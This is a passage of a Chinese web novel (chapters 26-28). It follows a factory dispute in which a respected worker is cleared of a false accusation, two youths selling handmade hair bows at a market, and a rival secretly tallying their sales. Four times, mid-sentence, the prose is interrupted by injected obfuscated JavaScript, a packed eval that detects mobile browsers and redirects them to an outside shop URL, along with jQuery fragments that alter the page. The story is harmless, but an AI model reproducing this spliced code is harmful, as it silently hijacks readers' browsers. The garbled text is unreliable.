付文华闻言看向于闻仲,这下坏了,冯腾飞是真知道这事,于闻仲恐怕没办法轻而易举的糊弄过去。 现在搞成这个样子,于闻仲被当场揭穿,以后的脸面就没了。 那边,冯腾飞还在理直气壮的大喊,“付厂长,你如果不相信的话,现在让人去医院把梁苦根梁师傅叫回来,他肯定能当面证实我的话!” 说完,他想起梁苦根当时跟他说的时候,一口一个于师傅品德高尚,害怕梁苦根知道这里发生的事,转而改口,便说道,“付厂长,既然梁师傅刚才说回不来,我们带着人过去怎么样?也不用所有人都过去,我跟于师傅、还有几个做见证的人过去,也用不了多长时间,几句话就问完了!” 冯腾飞生怕付文华不答应,继续说道,“免得梁师傅回来的路上知道了厂里发生的事情,碍于情面做假证,到时候我就是浑身长满嘴也……” 他话没有说完,但话里的意思大家都明白。 付文华一张脸拉的老长,去医院?冯腾飞还真能想! 一件破事,搞出这么大的动静就算了,不死死的捂在自家的厂子里,跑去医院瞎折腾? 医院那是什么地方,众生平等的地方,管你是首长,还是挑大粪的,生了病都得往那跑,在那闹事,一传十,十传百,用不了多久,整个江城都知道他们机械厂的丑事了。 与其这样,还不如在大会上做检讨呢! 丢人的范围也能小点! 付文华当即就要否决,就算背上包庇的名声,也不能把事情闹到医院去! 正在这时,于闻仲突然开口说道,“我坦白!” 坦白?这是怕了? 冯腾飞说去医院对质,于闻仲就怕了,那岂不是说,冯腾飞说的是真的,于闻仲收了梁苦根的钱,刚才的否认是在撒谎? 冯腾飞松了一口气! 坦白就好! 坦白了,才能证明他不是诬告! 车间里寂静无声,都在等待着于闻仲说出下一句话,他清清嗓子,说道,“其实,我收钱干活这个消息是我让梁师傅散播出去的!” 啥? 坦白的居然不是撒谎,而是这件事吗? 冯腾飞瞪大了眼睛,无助又迷茫的看向于闻仲! 搞不明白他在说什么! 于闻仲继续说道,“梁师傅他娘住院了,情况很不好,这事他没有跟大家说,但我既然知道了,就不能当作不知道。他的活干不完,我就想着,下了班帮帮他,好让他早点去医院陪他娘。但是……” 于闻仲看了冯腾飞一眼,说道,“我身体不太好,之前因为这事把冯腾飞拒了。再加上,这次帮梁师傅忙,也是因为他娘病了。 我知道冯腾飞这孩子心思沉,我怕他知道我帮别人加班,却不肯带他,心里有其他的想法。 也怕其他人知道我无偿帮忙,下次也找我……我就跟梁师傅商量,对外就说收了钱了。这样,冯腾飞也不会多想,其他人找我帮忙,我也好找借口拒绝!” 于闻仲说完,整个车间的人都惊了! 原来如此! 竟然如此! 怪不得之前厂里谣言甚嚣尘上的时候,于师傅也不肯澄清,原来他是故意的。 故意对外说收钱了,是怕冯腾飞多想,却没想到,冯腾飞竟然会抓住这一点,私下跟厂长举报,想把于闻仲的优秀标兵搞黄…… 简直是农夫与蛇! 冯腾飞更是震惊! 这……这怎么可能呢? 但不管可不可能,厂里的人都信了。 两边,一个是名不见经传 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17369882|198944||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的小员工冯腾飞,一个是得过好几次优秀标兵、技术过硬、品德高尚的八级工于闻仲,要相信哪个真的很好选! “冯腾飞!”付文华听完,愤怒的大喊道,“你干出这种事,对得起于师傅的一片苦心吗?” 头脑一阵一阵的发晕,现在他不仅是一个打小报告的员工了,他还是一个故意背刺关心他、爱护他的师傅的员工! 冯腾飞定了定神,他总觉得不对,这件事太奇怪了,没有那么巧吧!怎么可能那么巧呢? 因为爱护他,不想让他多想,才会编出‘收钱干活’的谎话,结果,他却利用这个打了小报告……不对!肯定是临时编出来骗人的! 如果真的是这样,大可以一开始就说出来,没必要等他闹到要去医院对质的情况下才缓缓托出! 对,就是这样! 因为害怕去医院对质,所以才编出这种谎话,就是要从道德上逼迫冯腾飞就范,让他不敢、也不能再强迫于闻仲去医院。 “我不信!”冯腾飞大喊道,他绝不能让这场举报功亏一篑,也绝不能让自己背上‘打小报告’‘背刺’的名声,“刚说要去医院对质,于师傅就找出这个借口,也太蹊跷了吧!” 于闻仲看向冯腾飞,失望的摇了摇头,长叹一口气,说道,“我之所以没有一开始就说出来,是不想你难堪,既然你不相信,那我们就去医院对质吧!” 于闻仲答应的如此爽快,让冯腾飞冷汗直流! 他说的不会是真的吧! 就在这时,车间大门处突然跑进来一个人,正是刚才打电话说回不来的梁苦根! “谁举报于师傅收钱了?”梁苦根气的脸都红了,“谁?是谁干的?” 付文华见人回来了,立刻上前说道,“梁师傅,先别管谁了,你先告诉我们,于师傅到底有没有收钱!” “没有!”梁苦根信誓旦旦的说道,“于师傅根本没有收钱!收钱的消息是谣言,是于师傅怕冯腾飞多想编出来的。” 对上了! 梁苦根刚进来,他不可能听到于闻仲之前说的话,这么短的时间,两人不可能串通,那就只有一种可能,于闻仲说的是实话! 毫无异议! 所有人,包括付文华,甚至冯腾飞都明白了,于闻仲没有撒谎! “那你在医院为什么不跟我说!”冯腾飞整个人轻飘飘的,从嘴里说出这句话。 “跟你说?说什么?”梁苦根一下子还没有明白过来,小王走到他身边耳语几句,梁苦根终于明白这场闹剧是怎么搞出来的了! “冯腾飞!你这个忘恩负义的小人!”梁苦根指着冯腾飞的鼻子痛骂道,“原本我还觉得,于师傅让我这么说是多此一举,没想到啊!还真阴差阳错防住了你这个心思深沉的小人! 你装模做样,提着礼物到医院看我,我还以为你是关心我呢!没想到,你是为了打探于师傅的把柄,好告他一状! 冯腾飞,我就不明白了!于师傅得罪你了吗?你找到机会就给他穿小鞋! 人家虽然没收你当徒弟,但一教就是大半年,现在身体不好,不能收你当徒弟了,你就这么记恨他?” 冯腾飞只觉得自己完了! 他在机械厂再也出不了头了! 26. 划清界限! 梁苦根气得头疼,没想到冯腾飞居然会拿于闻仲帮他的事情告状! 如果当时在医院真的心软了,把于闻仲叮嘱他的话抛之脑后,傻乎乎地被冯腾飞套话,以后还不知道冯腾飞会从什么犄角旮旯里抓到于闻仲的把柄呢! 好在…… 梁苦根一顿,心想,于闻仲当时叮嘱他,恐怕就是知道了冯腾飞的为人……既然如此,这次帮忙,会不会也是…… 活了这么多年,梁苦根也不是一个小孩子了。 瞬间便明白了,于闻仲可能就是知道了冯腾飞的秉性,所以才拒绝收他为徒,又害怕他因为没收徒的事情报复,便故意设了这么一个圈套! “梁师傅!”正想着,于闻仲走到梁苦根身边,说道,“你能为我澄清,我就心满意足了。你你娘还在医院离不开人,这里的事情你就别管了,先去医院吧!” 于闻仲说的是真心话! 防备冯腾飞是一回事,真的想帮梁师傅又是另一回事。 就算没有设计冯腾飞这回事,他也会主动帮忙,让梁师傅能见到他娘的最后一面。 梁苦根深吸一口气,点点头,他知道自己被于闻仲利用了,但他并没有抵触心理。 一来,于闻仲切切实实地帮了他的忙,二来,于闻仲并没有利用他害人,他只是让他帮忙作证,好保全自己而已。 一个好人,为了不被人害,如此费尽心机…… 唉!梁苦根也是见多了这种事! “厂长,我可以给于师傅作证,他没有收钱!”梁苦根转头对付文华说道,“如果厂里不信,尽管让人来调查,我梁苦根当着全场人的面,愿意承担所有责任!” 梁苦根说到这个份上,付文华还有什么不相信的。 况且,这个结果也是他喜闻乐见的。 本来要处罚于闻仲也是无奈之举,现在,他有了证据,付文华也松了一口气。 “梁师傅,你放心吧!有了你的证词,厂里不会再听信小人的谗言,冤枉于师傅!”付文华摆出一厂之长的派头,做出保证,“这次的事情到此为止,以后,厂里不能再有关于于师傅私下收钱干活的谣言!至于‘优秀标兵’,于师傅没有违反厂规,‘优秀标兵’评给他实至名归。谁再有疑问,尽管来找我!” 梁苦根得了付文华的保证,转头拍了拍于闻仲的肩膀,说道,“于师傅,你受苦了!” 于闻仲摆摆手,“这点小事,不算什么!你快回医院吧,厂里的活不用担心,有我帮你呢!” 梁苦根他娘的情况实在不好,梁苦根也不想在这耽误时间,回头瞪了冯腾飞一眼,便匆匆离去。 冯腾飞整个人面如死灰,他没想到这件事会变成这样。 本以为于闻仲收钱的事情是板上钉钉,不说让他受到多大的惩罚,至少能让他得个教训,可竟然……整件事从头到尾都是假的,都是针对他的……还偏偏是‘为了他好’! “冯腾飞!”付文华一声怒喝,“你现在还有话可说吗?” 说?还能说什么? 冯腾飞低下头,试图道歉,“对不起,付厂长,我……” 话还没说完就被打断,“你不用给我道歉,要道歉也是给于师傅道歉!他对你多好啊!没收你当徒弟就教了你半年,现在身体不行了,教不了你,还处处维护你的自尊。你倒好,抓住机会就想害他,我们厂里怎么会有你这样的人啊!” 付文华越说越恶心。 冯腾飞涨红了脸,他小声辩解道,“我只是……只是想维护厂里的利益……” “行了!”付文华不想再听他狡辩,“现在就给于师傅道歉,至于你诬告于师傅的处分,我会跟领导班子商量一下再决定!” 处分…… 冯腾飞猛地抬头,“我……我……我不是诬告,我只是……只是……” “是不是诬告厂里会研究决定!”付文华懒得再跟冯腾飞浪费口舌,“其他的你不要再说了!先跟于师傅道歉!” 冯腾飞总算从付文华眼底看到了深深的厌恶! 他头一缩,走到于闻仲跟前,低声道,“对不起,于师傅,我不该冤枉你!” 于闻仲此刻对冯腾飞已经没有了任何的感情,他冷漠说道,“你肯在技术上下功夫,本来只要慢慢学,总能学有所成!我教了你小半年,虽然没有师徒之名,但我打心底里把你当徒弟……” 听到这,冯腾飞眼眶一热,心里有些后悔,今天早上不该一时之气…… “我知道你心思深沉,总觉得别人在辜负你!我不收你为徒,除了身体跟不上,也有这方面的原因。我家里两个孩子,就算是我徒弟,我也没有太多的精力去管!”于闻仲冷冰冰的跟冯腾飞割席,“这次的事,我不怪你!” “于师傅,我……”冯腾飞以为于闻仲原谅他了。 “先听我说完!”于闻仲制止他,“虽然我不怪你,可我也没有太多的精力去教导你,从今天起,我于闻仲不再跟你有任何交集!以后,你有任何问题,请不要再过来问我,我身体不好,受不起你的报复!” “我……于师傅!我……我以后绝对不会……” 冯腾飞这才明白,于闻仲这是在跟他划清界限! 厂里最德高望重的老前辈跟他划清界限,以后谁还敢接近他?平时的交往交际也就算了,升职加薪,各种推荐,岂不是都没了机会? 那他在机械厂还有什么前途? 他家里还指望他前途似锦,风生水起呢! 于闻仲说完,并没有理会冯腾飞的反应,他走到付文华面前,说道,“厂长,我有个建议,不知道当讲不当讲!” 付文华此刻正对于闻仲感到愧疚,他有建议,当然得听,“于师傅,你说!只要对厂里有利,我绝对答应。” 于闻仲说道,“私下干活收钱的事,厂里发生的不少!不管是谁,都有突发急事的时候,让人帮忙,也不好一点好处也不出。我觉得,既然大家都有这个需求,干脆立个规章制度,有谁需要帮忙的,两人一起到领导那做个记录,干多少活,给多少钱,直接从工资里划过去,过了明路,省的再出纠纷!” “这……”付文华有些犹豫。 虽然听起来有道理,也很好用,但这样一来,工作量变大,财务室那边恐怕会有怨言。 而且,这也不是他一个人能决定的,虽然他是厂长,可涉及到有关厂里规定的事,还是要开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17376490|198944||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会做决定。 还没等付文华想好怎么说,下面的人开始吵闹起来,“厂长,这个主意好!” “是啊!谁能没有个急事啊?” “直接从工资里划过去,也不会有人再私下收钱了!” “也不会再被人举报了!” 不知道是谁,突然喊了一嗓子,惹得大家哈哈大笑,冯腾飞面红耳赤! “于师傅的建议很好,不过,毕竟涉及到厂里的规定,必须要厂里的领导开完会才能决定!”付文华努力维持着现场的秩序,“大家放心,既然大家有这方面的需求,我一定尽全力帮大家解决!” 大会从对于闻仲的审判开始,到讨论厂规结束! 公告栏上,优秀标兵的公示仍旧贴在上面,于闻仲还是会在下班后替梁苦根干活,但没有人再传于闻仲的闲话了。 冯腾飞开始被针对。 他原本就不受组里的人喜欢,现在更是被讨厌。 季子路也埋怨冯腾飞让他在人前丢了面子,更不待见他,冯腾飞从一个‘沉默寡言的人’逐渐变成一个‘透明人’! 过了几天,厂里决定召开有关改善厂里各方面环境的会议,在厂里选举了几个代表参加,有于闻仲这样的老资格,也有徐大宝这样的新生代,会议就定在‘优秀标兵’公示期结束的那一天。 于闻仲解决了冯腾飞,还有了深度参与厂里决策的机会,心情很是舒畅。 当然,家里不止他一个人心情舒畅。 于秀荷跟沈立春两人紧赶慢赶,终于在周末来临之前,赶出了一百多只蝴蝶结。 这次没有新品,都是上次做过的老品,只在花色和拼接上花了点心思。 技术上,沈立春已经很熟练了,于秀荷帮他把布料裁好,熨烫好,沈立春一个接着一个的做蝴蝶结。 有时候做到深夜,沈奶奶会来催他睡觉。 “明天还要上学呢!”沈奶奶担心他又在课堂上打瞌睡。 上学!上学! 沈立春现在一点儿也不想上学,他想把所有的时间都用来做蝴蝶结,拿到街上去卖,赚更多的钱。 “一百多只!”于秀荷把它们整理好,放到袋子里,说道,“不知道明天一天能不能卖完!” 上次只有五十只,还是第一次卖,也卖了三个小时才卖完。这次足足一百多只,一大早赶过去,也不知道能不能赶在集市散掉之前卖完。 “别担心!”沈立春安慰道,“卖不完我就去路口摆摊,或者去工厂门口,工厂下班的时候人那么多,多摆几次,一定能卖完!” 他现在已经不是以前那个腼腆的小男生了。 有了第一次摆摊的经验,他现在不仅能够非常淡定的招揽客人,还能像于秀荷一样大声的喊出‘宣传口号’! “工厂门口!”于秀荷突然被启发了,“对啊!江城一条街不开市的时候,我们可以去女工比较多的工厂门口卖蝴蝶结啊!” 现在市场上的饰品非常少,除了小孩子哭着闹着要戴之外,手里有点钱的年轻女人也很乐意买。 像纺织厂、衬衫厂,这两个厂里的女工很多,如果把摊摆在她们下班的必经之路上,生意一定很好! 27. 大客户! 现有的蝴蝶结都是花布做的,款式上也很复杂、繁琐,小孩子和比较年轻的女人会喜欢,年纪大一点的女人可能就不喜欢了。 如果要去工厂摆摊,就得把现有的款式再改良一点。 大的蝴蝶结可以改成小的,放在头上起装饰作用,也不会太引人注目,上班的时候戴帽子、口罩什么的,都很方便。 还有,款式上可以加一点稍微贵一些的装饰,比如蕾丝、小珍珠。 于秀荷做梦都在想着怎么改善现有的款式,睡了一觉醒来,立刻把自己想出来的款式画在了纸上。 早上吃过早饭,于秀荷骑着自行车赶往沈立春家,两人拿上做好的蝴蝶结,昨天晚上沈立春又熬夜加班了,包里装着的蝴蝶结足有一百二十多只。 赶到江城一条街,来到上次卖货的街角,两人熟门熟路的把车子停好,棍子拿出来,素色的布也拿出来,把蝴蝶结一个又一个的往上放,还没全摆上,就有一个孩子拽着大人往摊子前走,边走边喊,“就是这!上次说给我买的!” 于秀荷认得这个小女孩,就是上次收摊前见过的那个。 “要蝴蝶结吗?这次来得早,可以好好挑一挑!” 小女孩站在摊子前,仰着头看布上别着的一个又一个的蝴蝶结,五六十个,都是不同的款式,不同的花纹,每一个都是那么的好看。 “快点选一个!”身后的大人无奈的叹了口气,“买完可不许再闹了!” 小女孩都挑花眼了,看着这个想要,看着那个也想要。 “妈妈,只能买一个吗?能不能多买一个?”小女孩回头,充满希望的问道。 “不行!”大人毫不犹豫的拒绝了她,“一个五毛钱呢!不当吃不当穿的,买这么多多浪费啊!” 小女孩闻言失望的低下头,在大人的催促下从众多漂亮的蝴蝶结里选出一个嫩黄色带荷花边的蝴蝶结。 “就要这个是吧?”大人从口袋里掏出五毛钱递给于秀荷。 于秀荷从布上取下蝴蝶结,拿上一根黑色发卡,递到小女孩手里,笑着说,“你眼光可真好,这个蝴蝶结这么漂亮,你戴上一定很好看!” 小女孩原本失落的脸立刻明媚起来。 她有些害羞的接过于秀荷递过来的蝴蝶结,跟着妈妈离开,小小的人儿在心底发誓,将来长大了,她一定要买下所有的蝴蝶结! 包里还有一大堆的蝴蝶结没拿出来,于秀荷的手却已经开始酸了。 眼前的素色布已经变成了花花绿绿的‘广告牌’,吸引着从这里路过的每一个人。 旁边卖菜的大娘忍不住酸溜溜的说道,“一个蝴蝶结就卖五毛钱,你这一小堆蝴蝶结,比我这一摊子菜都要贵!” “看你说的,大娘!我这成本高啊!布有多贵就不说了,你别看蝴蝶结小,但它做起来特别复杂,要做成这样,可要废不少功夫呢!”于秀荷笑着说道。 赚了钱,自然会引起别人的嫉妒。 于秀荷并不会为此烦恼。 “说的也是!”卖菜的大娘被于秀荷一通说,反而不好意思了,这蝴蝶结她也买过,还买了两个,拿回家闺女可喜欢了,整天戴着不撒手,比供销社卖的还好,说实话,她是觉得花的钱挺值的。 刚才没忍住冒出那句话,也是闲的无聊,在心里算了一下那一小堆蝴蝶结能卖多少,一算,能卖三四十块呢,想起自己摊子上的蔬菜,全卖了也挣不到三十块,这才没忍住,说了这么一句混帐话! “你们手巧,赚钱是应该的!”她不好意思的找补道,“我们手笨,能卖点菜就心满意足了!” “大家都是靠手艺吃饭的,挣得多挣得少也看天!”于秀荷一边闲聊,一边干着手里的活,“我们这东西也就卖几天,等再往后,想买的都买了,做再多也卖不出去了!您卖的菜就不一样了,今天吃了,明天还得吃,一年四季都能卖出去!” “你这小女娃,真是会说话!”卖菜的大娘听完于秀荷的话,心里舒坦极了,“你们在这卖不出去,可以去我们村子那边卖,这里来买东西的都是城里人!我们农村虽然没有城里人有钱,但是也疼娃娃,你这东西好,价格又不高,要卖也能卖出去!” 又给于秀荷提供了一条卖货途径。 “等这边卖的差不多了,我就去下面村子里卖!” “我姓孙,你叫我孙大娘吧!你要是去,提前跟我说,我把村里人都叫过去,不敢保证都买,给你介绍几个生意还是可以的!” 于秀荷连忙道谢。 孙大娘的话给她提供了另外一种售卖方式——分销! 就拿孙大娘来说,如果于秀荷把自家的蝴蝶结给她,让她拿出去卖,卖出一只,给她五分钱。孙大娘既不用担心成本,也不用担心能不能卖出去。 就算卖不出去,剩下的也能退回给于秀荷。 孙大娘一周只来卖一次菜,其余的时间,完全可以干这个活。 她肯定很乐意。 如今刚刚改革开放,市场不发达,除了毕业之后分配的工作,想找个赚钱的活难得很。 这种什么都不用担心,有一张嘴就能出去赚钱的活,想做的人多的是。 于秀荷在心里暗暗思索,江城的市场毕竟是有限的,年前的生意好,年后就不一定了,就算能去工厂那里卖,但江城满打满算也就那么几个厂,来回几次之后,生意肯定也一般。 要想赚到更多的钱,让这个生意稳定下去,就得朝周边发展。 街上的人慢慢的多了起来,于秀荷打起精神。 沈立春比上次成熟许多,看到有可能来买的‘目标客户’,大胆的开口,“比供销社还便宜还好看的蝴蝶结,要不要来试一下?” 一本正经的沈立春还是很能唬人的,好几个来闲逛的年轻女孩被喊住之后,红着脸来到摊子前,羞涩的问道,“蝴蝶结怎么卖啊?” “五毛一个!” “可以试戴吗?” “当然可以!”沈立春指着一排又一排的蝴蝶结,说道,“喜欢那个,我给你们拿下来!” 漂亮的蝴蝶结一旦戴在头上,就不是买或者不买的问题了,而是买一个,还是买几个的问题。 沈立春靠着一张帅脸,成功招揽到不少的生意。 于秀荷在旁边看着直乐,要是那些女孩们知道沈立春还只是一个上初二的小屁孩,不知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17381704|198944||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会有什么脸色。 原本,于秀荷以为,上周卖过一次了,这周的生意就会少很多。 但是,出乎意料的是,这周的生意非但没有减少,反而更好。 有一些还是专门来找他们的。 “你们的蝴蝶结比供销社里的还好看,快过年了,我本来想去供销社买一个戴的,上周看我朋友买了这个,我跟她打听,她说五毛一个!我还以为她骗我呢!没想到是真的!” 女孩一口气挑了三个。 “在供销社买一个的钱,能在这买三个,我回去要好好跟我妈妈炫耀一下!看她还敢说我不会花钱!” 人来人往,摊子前的人几乎没有断过。 一个接着一个的,于秀荷和沈立春只来得及介绍几句,就忙着给客人取货,收钱。 素色布上的蝴蝶结肉眼可见的减少,才过了两个小时,一百二十多个蝴蝶结就卖的只剩下三十个。 沈立春一边高兴,一边在心里打算着。 现在市场上的蝴蝶结完全就是供不应求,这一百二十个蝴蝶结今天上午绝对能卖完,就算有更多,也能卖完。 只利用放学后、睡觉前的时间来做蝴蝶结根本不够。 必须要去跟老马请假了…… 赚钱的机会不常有,能赚到钱的机会更少,这次多亏了于秀荷,他才有这个赚钱的机会,他不想浪费,更不想错过。 正当沈立春暗自打算的时候,一个穿着时尚的女人朝他们的摊子走来。 于秀荷一眼就看见了她。 大冬天,她没有穿臃肿的棉袄,反而穿着造型时尚的大衣,大衣的样式也不是江城常见的,于秀荷判断,这个人应该是从其他的大城市回来的。 她身上的衣服,是大城市的流行趋势。 “看一下我们的蝴蝶结,都是原创,其他的地方绝对没有!”于秀荷自夸道。 宋雪莲仔仔细细的打量着这块简陋的布匹上别着的蝴蝶结,心里有些吃惊。 她在深城什么没见过? 大大小小的饰品,都是先在深城流行,过时的才会慢慢传到周边的城市。 刚到这里时,来接她的表妹头上戴着从供销社买到的最时兴的发卡,得意洋洋的朝她显摆,她根本不屑一顾,那些东西,早就在深城流行过了。 之所以没戴,不是没有,而是已经被她扔到箱子底下落灰了。 她头上戴着的才是最流行的。 今天只是无聊的出来闲逛,感受一下表妹口中‘江城一条街’的热闹,没想到会在这么一个落后的街道上看见让她眼前一亮的蝴蝶结! 这设计、这巧思、这做工……宋雪莲忍不住在心里暗暗点头,好东西,拿到深城卖也会风靡一时! “是你原创的?”宋雪莲打量着笑嘻嘻介绍的小女孩。 于秀荷点点头,“是啊!所有的都是我的原创!你在别的地方,不可能买得到!” 宋雪莲摸着一个又一个的蝴蝶结,问道,“你们能做多少个?” 这是什么问题?难道布上挂的三十个还不够吗? 于秀荷和沈立春对视一眼,于秀荷开口说道,“你想要多少个?” 28. 暗处! “实话跟你说,我是深城来的!”宋雪莲在深城是做服装生意的,也卖点头上戴的小玩意,“你这些蝴蝶结,我在深城都没见过。等年后回去,我想带点走,你跟我说说这些蝴蝶结怎么卖,你能做多少个!” 原来是这样! 于秀荷不禁眼前一亮。 这人可是个大客户啊! “蝴蝶结五毛一个!”于秀荷赶紧说道,“反正你不急着要,这离过年还有小半个月呢!你想要多少,我们都能赶的出来。主要看您想带多少走?” 宋雪莲沉吟片刻。 五毛一个,算便宜了。一百个也才五十。 不过,做生意嘛,没有不砍价的。 “如果我要一百个,你能给我什么价?”宋雪莲试探道。 “我们的蝴蝶结供不应求,都是卖五毛一个!”于秀荷不肯给她低价,这蝴蝶结做起来很繁琐,如果他们不是用低价的碎布做的,五毛根本赚不到什么钱。 但制胜的秘笈不可能告诉别人,于秀荷说道,“您要是确定要一百个,我可以给您便宜个两块,总价给四十八块就行!” 宋雪莲皱了皱眉头,她觉得这个折扣太低了。 “每个给我少五分钱,一百个只是第一批,如果卖的好的话,我还会继续订!” 源源不断的大生意,宋雪莲不相信她们不心动。 “我们的生意就是年关前后比较红火,这段时间,不论我们做出多少,都能卖出去……”于秀荷正说着,就有生意上门了。 一个年轻的妇女带着孩子走到摊子前,问了价钱之后,直接买了四个,说要送给娘家的小侄女。 “您看,我们都卖五毛一个,就算买了四个,也绝不优惠!”于秀荷说道,“您要是过年之后等一段时间再要,我可以按照四毛五一个给您!” 宋雪莲做生意,也明白‘旺季’‘淡季’的区别! 旺季的时候,货出的非常快,想去拿货,非但没有优惠,反而要找找‘关系’‘人脉’才能拿到。 而一到淡季,就反过来了。 之前还趾高气昂的老板开始找你,问‘要不要货啊?’‘给你优惠!’。 左右也不过几块钱的差别,她也懒得再纠缠,便说道,“四十八块就四十八块,你们按照这个标准给我做一百个。” 宋雪莲从随身携带的包包里拿出一张纸,在上面写下表妹家的地址,“我现在住在这里,你们做好给我送过去,到时候,一手交钱,一手交货!” 于秀荷接下纸,拍拍胸脯,保证道,“放心吧!一做完就给您送去!” 宋雪莲合上包包,满意的离开。 临走前,回头叮嘱道,“正月初三之前一定要送过去,否则,这批货我就不要了!” “没问题!” 宋雪莲离开后,沈立春忍不住问道,“秀荷,你觉得她说的是真的,还是骗子?” 一百个蝴蝶结,成本最低也得二十。 万一做好送过去,她找借口不要,那…… “管她是不是骗子,就算她不要,也能在街上卖!反正亏不了!”于秀荷比沈立春乐观的多。 快到中午了,蝴蝶结还剩下二十来个,沈立春从包里拿出水壶,递给于秀荷,“渴不渴?喝口水吧!” 喊了好几个小时了,于秀荷渴的嗓子直冒烟,“有水不早点拿出来!” 接过水壶,咕嘟咕嘟喝了好几口。 与此同时,江城一条街一个不起眼的角落里,郑春花打了个哈欠,问道,“姐姐,我好饿啊!我们都在这看一上午了,什么时候才能回去啊!” 郑梅花精神抖擞的监视着于秀荷和沈立春的摊子,时不时在本子上记录着数据,听见妹妹的询问,恨铁不成钢的说道,“饿什么饿?回去就能吃到饭吗?家里都穷成那样了!” “可是我们呆在这也没用啊!”郑春花很不服气,要是不出来,在家至少能喝点稀饭吧!在这呆了一上午,除了盯着卖蝴蝶结的摊子看,什么也干不了。 郑春花真想不明白,姐姐为什么要盯着卖蝴蝶结的摊子看。 那些蝴蝶结是很好看,但家里绝对不会给买的。 看一会儿也就算了,一直盯着看是怎么回事?看一会儿还在本子上写写画画,搞得神神秘秘的。 “你懂什么?”郑梅花在本子上画下一条横杠,第一百一十六,“家里一穷二白,我不想点办法,以后能有出路吗?” “能有什么办法?”郑春花想着家里的稀饭,咽了一口口水。 “那些蝴蝶结,我看第一眼就知道,一定会很畅销,刚才只是几个小时,就卖出了一百多只。一只五毛,一上午就能赚五十块!” 郑梅花还没说完,郑春花就惊讶的打断道,“五十块?这么多?” 五十块能买多少面,多少肉,多少菜啊!至少能饱饱的吃上一个月吧! “瞧你那样!”郑梅花对嘴馋的郑春花很是不屑,“那些蝴蝶结也不难,我稍微看两眼,就知道该怎么做!等晚上回去,我们就开始做蝴蝶结,然后拿到集市上卖!” 这就是郑梅花想出的办法! 卖蝴蝶结,赚到第一笔钱,接着再赚第二笔,她的手工活不错,自信能做到一模一样! 既然她们的能卖出去,她做的也肯定能卖出去。 “做蝴蝶结?”郑春花摇摇头,“你还真敢想!家里根本就没有多余的布给你用!而且,就算有多余的布,妈妈也只会给宝生做衣服!” 郑春花虽然傻,但对家里这点事情还是明白的。 “你就这么认命吧!”郑梅花很是无奈,“等妈把你当赔钱货卖出去,你这辈子就再也翻不了身了!” 郑春花听到这话,精神了些。 因为她知道,她妈是真的能干出这事。 “我也不想认命,可能怎么办呢?” “没有新布,就用旧的!”郑梅花看了看两人的衣服,说道,“我们不是各自有一身过年才能穿的衣服吗?把它拆了!” “不行!不行!”郑春花连连摆手,“被妈妈知道,肯定会挨打的。” “你不愿意就算了!”郑梅花不再搭理她,“这也怕,那也怕,你就等着被卖出去,换钱给宝生娶媳妇吧!” 郑梅花继续记录着于秀荷卖出的蝴蝶结数量。 郑春花在她身后想了想,深吸一口气,做出重大决定,“拆吧!大不了挨一顿打!反正我不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17384945|198944||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想被卖给人家当媳妇!” 江城一条街的两边,于秀荷和沈立春热火朝天的卖着蝴蝶结,一百二十多个蝴蝶结,只剩下几个就能卖完,郑梅花认认真真的记录着于秀荷卖出的数据,给自己即将开始的小生意壮胆。 而在一处阴暗的小巷子里,王桂香蒙着脸,焦急的等待着。 不一会儿,身后传来脚步声,她连忙回头。 一个蒙着脸的男人走了过来,语气很不满的质问道,“不是说以后就当不认识吗?为什么要联系我们?” 王桂香冷笑一声,说道,“当不认识?你们想的可真美!” “那你想怎么样?” “怎么样?”王桂香恨得咬牙切齿,“王飞龙,我的名声毁了,在供销社里处处受排挤,这都怪你们!你们至少要给我补偿吧!” “怪我们?”王飞龙不满道,“是你自己做事不干脆,让汪顺莲有机会找人证,要不然,她现在已经被赶出供销社了!” 